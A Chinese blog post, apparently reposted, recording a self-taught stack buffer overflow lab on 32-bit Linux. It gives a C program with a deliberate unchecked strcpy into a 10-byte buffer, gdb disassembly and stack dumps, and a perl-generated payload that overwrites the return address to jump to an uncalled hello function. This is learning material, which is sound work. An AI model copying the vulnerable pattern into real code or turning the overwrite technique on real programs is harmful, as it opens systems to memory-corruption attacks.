linux下缓冲区溢出

来源:互联网 发布:算法第四版epub下载 编辑:程序博客网 时间:2024/06/08 13:27

最近一段时间,在网上搜索关于缓冲区溢出攻击的文章,实验了一下,成功实现了缓冲区溢出攻击,现在把过程记录下来。

 

[cpp] view plaincopy
  1. #include <stdio.h>  
  2. #include <string.h>  
  3. void hello()  
  4. {  
  5.         printf("hello\n");  
  6. }  
  7.   
  8. int fun(char *str)  
  9. {  
  10.         char buf[10];  
  11.         strcpy(buf, str);  
  12.         printf("%s\n", buf);  
  13.         return 0;  
  14. }  
  15.   
  16. int main(int argc, char **argv)  
  17. {  
  18.         int i=0;  
  19.         char *str;  
  20.         str=argv[1];  
  21.         fun(str);  
  22.         return 0;  
  23. }  


 

上面的代码,并没有调用函数hello,现在通过缓冲区溢出来调用hello函数。

 

代码保存为test.c,放在/root目录下。

 

编译test.c

gcc -g -o test test.c

 

gdb test

反汇编hello、fun、main这三个函数

 

[plain] view plaincopy
  1. [root@localhost ~]# gdb test  
  2. GNU gdb Fedora (6.8-1.fc9)  
  3. Copyright (C) 2008 Free Software Foundation, Inc.  
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
  5. This is free software: you are free to change and redistribute it.  
  6. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  7. and "show warranty" for details.  
  8. This GDB was configured as "i386-redhat-linux-gnu"...  
  9. (gdb) disass hello  
  10. Dump of assembler code for function hello:  
  11. 0x080483f4 <hello+0>:   push   %ebp  
  12. 0x080483f5 <hello+1>:   mov    %esp,%ebp  
  13. 0x080483f7 <hello+3>:   sub    $0x8,%esp  
  14. 0x080483fa <hello+6>:   movl   $0x8048534,(%esp)  
  15. 0x08048401 <hello+13>:  call   0x8048324 <puts@plt>  
  16. 0x08048406 <hello+18>:  leave    
  17. 0x08048407 <hello+19>:  ret      
  18. End of assembler dump.  
  19. (gdb) disass fun  
  20. Dump of assembler code for function fun:  
  21. 0x08048408 <fun+0>:     push   %ebp  
  22. 0x08048409 <fun+1>:     mov    %esp,%ebp  
  23. 0x0804840b <fun+3>:     sub    $0x18,%esp  
  24. 0x0804840e <fun+6>:     mov    0x8(%ebp),%eax  
  25. 0x08048411 <fun+9>:     mov    %eax,0x4(%esp)  
  26. 0x08048415 <fun+13>:    lea    -0xa(%ebp),%eax  
  27. 0x08048418 <fun+16>:    mov    %eax,(%esp)  
  28. 0x0804841b <fun+19>:    call   0x8048314 <strcpy@plt>  
  29. 0x08048420 <fun+24>:    lea    -0xa(%ebp),%eax  
  30. 0x08048423 <fun+27>:    mov    %eax,(%esp)  
  31. 0x08048426 <fun+30>:    call   0x8048324 <puts@plt>  
  32. 0x0804842b <fun+35>:    mov    $0x0,%eax  
  33. 0x08048430 <fun+40>:    leave    
  34. 0x08048431 <fun+41>:    ret      
  35. End of assembler dump.  
  36. (gdb) disass main  
  37. Dump of assembler code for function main:  
  38. 0x08048432 <main+0>:    lea    0x4(%esp),%ecx  
  39. 0x08048436 <main+4>:    and    $0xfffffff0,%esp  
  40. 0x08048439 <main+7>:    pushl  -0x4(%ecx)  
  41. 0x0804843c <main+10>:   push   %ebp  
  42. 0x0804843d <main+11>:   mov    %esp,%ebp  
  43. 0x0804843f <main+13>:   push   %ecx  
  44. 0x08048440 <main+14>:   sub    $0x14,%esp  
  45. 0x08048443 <main+17>:   movl   $0x0,-0xc(%ebp)  
  46. 0x0804844a <main+24>:   mov    0x4(%ecx),%eax  
  47. 0x0804844d <main+27>:   add    $0x4,%eax  
  48. 0x08048450 <main+30>:   mov    (%eax),%eax  
  49. 0x08048452 <main+32>:   mov    %eax,-0x8(%ebp)  
  50. 0x08048455 <main+35>:   mov    -0x8(%ebp),%eax  
  51. 0x08048458 <main+38>:   mov    %eax,(%esp)  
  52. 0x0804845b <main+41>:   call   0x8048408 <fun>  
  53. 0x08048460 <main+46>:   mov    $0x0,%eax  
  54. 0x08048465 <main+51>:   add    $0x14,%esp  
  55. 0x08048468 <main+54>:   pop    %ecx  
  56. 0x08048469 <main+55>:   pop    %ebp  
  57. 0x0804846a <main+56>:   lea    -0x4(%ecx),%esp  
  58. 0x0804846d <main+59>:   ret      
  59. End of assembler dump.  
  60. (gdb)   


获得了hello函数的首地址是0x080483f4,还有main函数中调用fun函数时call的地址是0x0804845b,call的下面一条指令的地址是0x08048460,这些指令的地址都是放在寄存器EIP里的,等会缓冲区溢出的时候,我会用到0x08048460。

列出源代码:

[plain] view plaincopy
  1. (gdb) l  
  2. 9       {  
  3. 10              char buf[10];  
  4. 11              strcpy(buf, str);  
  5. 12              printf("%s\n", buf);  
  6. 13              return 0;  
  7. 14      }  
  8. 15  
  9. 16      int main(int argc, char **argv)  
  10. 17      {  
  11. 18              int i=0;  
  12. (gdb)   
  13. 19              char *str;  
  14. 20              str=argv[1];  
  15. 21              fun(str);  
  16. 22              return 0;  
  17. 23      }  
  18. (gdb)   


在12、21行设置断点。

 

[plain] view plaincopy
  1. (gdb) b 12  
  2. Breakpoint 1 at 0x8048420: file test.c, line 12.  
  3. (gdb) b 21  
  4. Breakpoint 2 at 0x8048455: file test.c, line 21.  
  5. (gdb)   


现在输入AAAA来运行,并查看寄存器EBP、ESP。

 

[plain] view plaincopy
  1. (gdb) r AAAA  
  2. Starting program: /root/test AAAA  
  3.   
  4. Breakpoint 2, main (argc=2, argv=0xbf999114) at test.c:21  
  5. 21              fun(str);  
  6. Missing separate debuginfos, use: debuginfo-install glibc.i686  
  7. (gdb) x/x $ebp  
  8. 0xbf999078:     0xbf9990e8  
  9. (gdb) x/8x $esp  
  10. 0xbf999060:     0x08048034      0x08049690      0xbf999088      0x00000000  
  11. 0xbf999070:     0xbf9998c0      0xbf999090      0xbf9990e8      0x058f95d6  
  12. (gdb)   


查看str的地址

 

[plain] view plaincopy
  1. (gdb) p str  
  2. $1 = 0xbf9998c0 "AAAA"  
  3. (gdb)   


单步运行,并查看寄存器

 

[plain] view plaincopy
  1. (gdb) si  
  2. 0x08048458      21              fun(str);  
  3. (gdb) x/8x $esp  
  4. 0xbf999060:     0x08048034      0x08049690      0xbf999088      0x00000000  
  5. 0xbf999070:     0xbf9998c0      0xbf999090      0xbf9990e8      0x058f95d6  
  6. (gdb) si  
  7. 0x0804845b      21              fun(str);  
  8. (gdb) x/8x $esp  
  9. 0xbf999060:     0xbf9998c0      0x08049690      0xbf999088      0x00000000  
  10. 0xbf999070:     0xbf9998c0      0xbf999090      0xbf9990e8      0x058f95d6  
  11. (gdb)   


看到此时参数str已经压入栈中

再次单步运行

 

[plain] view plaincopy
  1. (gdb) si  
  2. fun (str=0xbf9998c0 "AAAA") at test.c:9  
  3. 9       {  
  4. (gdb) x/8x $esp  
  5. 0xbf99905c:     0x08048460      0xbf9998c0      0x08049690      0xbf999088  
  6. 0xbf99906c:     0x00000000      0xbf9998c0      0xbf999090      0xbf9990e8  
  7. (gdb)   


发现main函数中的call的下面一条指令的地址0x08048460也已经压入栈中。

再次单步运行,并查看寄存器内容:

[plain] view plaincopy
  1. (gdb) n  
  2. 11              strcpy(buf, str);  
  3. (gdb) n  
  4.   
  5. Breakpoint 1, fun (str=0xbf9998c0 "AAAA") at test.c:12  
  6. 12              printf("%s\n", buf);  
  7. (gdb) x/8x $esp  
  8. 0xbf999040:     0xbf99904e      0xbf9998c0      0x00000000      0x41410000  
  9. 0xbf999050:     0x00004141      0x08049690      0xbf999078      0x08048460  
  10. (gdb)   


已经能看到4个41了,A的ASCII码值就是41。

现在在命令行参数,多加几个A,加到14个A,看看运行到12行时,ESP中的内容。

[plain] view plaincopy
  1. (gdb) r `perl -e 'print "A"x14'`  
  2. The program being debugged has been started already.  
  3. Start it from the beginning? (y or n) y  
  4. Starting program: /root/test `perl -e 'print "A"x14'`  
  5.   
  6. Breakpoint 2, main (argc=2, argv=0xbffa6f24) at test.c:21  
  7. 21              fun(str);  
  8. (gdb) n  
  9.   
  10. Breakpoint 1, fun (str=0xbffa78b6 'A' <repeats 14 times>) at test.c:12  
  11. 12              printf("%s\n", buf);  
  12. (gdb) x/8x $esp  
  13. 0xbffa6e50:     0xbffa6e5e      0xbffa78b6      0x00000000      0x41410000  
  14. 0xbffa6e60:     0x41414141      0x41414141      0x41414141      0x08048400  
  15. (gdb)   


此时发现ESP中已经有14个A了,而buf的容量是10个字节。一个A是一个字节。而0x08048460变成了0x08048400,因为0是字符串的结尾。于是,我们只要再多加4个字节,就能覆盖0x08048460了。

[plain] view plaincopy
  1. (gdb) r `perl -e 'print "A"x18'`  
  2. The program being debugged has been started already.  
  3. Start it from the beginning? (y or n) y  
  4. Starting program: /root/test `perl -e 'print "A"x18'`  
  5.   
  6. Breakpoint 2, main (argc=2, argv=0xbfee6d34) at test.c:21  
  7. 21              fun(str);  
  8. (gdb) n  
  9.   
  10. Breakpoint 1, fun (str=0xbfee7800 "") at test.c:12  
  11. 12              printf("%s\n", buf);  
  12. (gdb) x/8x $esp  
  13. 0xbfee6c60:     0xbfee6c6e      0xbfee78b2      0x00000000      0x41410000  
  14. 0xbfee6c70:     0x41414141      0x41414141      0x41414141      0x41414141  
  15. (gdb)   


现在,0x08048400已经被完全覆盖了,都变成了41。

为了让程序进入hello函数,需要把0x08048460改为hello的首地址。

[plain] view plaincopy
  1. (gdb) r `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'`  
  2. The program being debugged has been started already.  
  3. Start it from the beginning? (y or n) y  
  4. Starting program: /root/test `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'`  
  5.   
  6. Breakpoint 2, main (argc=2, argv=0xbfd70414) at test.c:21  
  7. 21              fun(str);  
  8. (gdb) n  
  9.   
  10. Breakpoint 1, fun (str=0xbfd71800 "") at test.c:12  
  11. 12              printf("%s\n", buf);  
  12. (gdb) n  
  13. AAAAAAAAAAAAAA魞  
  14. 13              return 0;  
  15. (gdb) n  
  16. 14      }  
  17. (gdb) n  
  18. hello () at test.c:4  
  19. 4       {  
  20. (gdb)   


现在用14个A和hello的首地址,就覆盖了0x08048460。

现在,退出gdb,直接运行,看看效果。

[plain] view plaincopy
  1. (gdb) q  
  2. The program is running.  Exit anyway? (y or n) y  
  3. [root@localhost ~]#   
  4. [root@localhost ~]# ./test `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'`  
  5. AAAAAAAAAAAAAA魞  
  6. hello  
  7. 娈甸敊璇  
  8. [root@localhost ~]#   
  9. [root@localhost ~]#   


看,输出hello了,成功溢出。

 

总结,函数调用时,汇编语言里,会有call的指令,call的下面一条指令的地址,会保存到EIP和压入ESP中。我们只需要覆盖那个地址,就能进行缓冲区溢出了。

看了很多文章才看懂的,大学里学的8086汇编语言,总算还记得那么一点,看来以后要多复习了。下一步,就是学会编写shellcode。


0 0
原创粉丝点击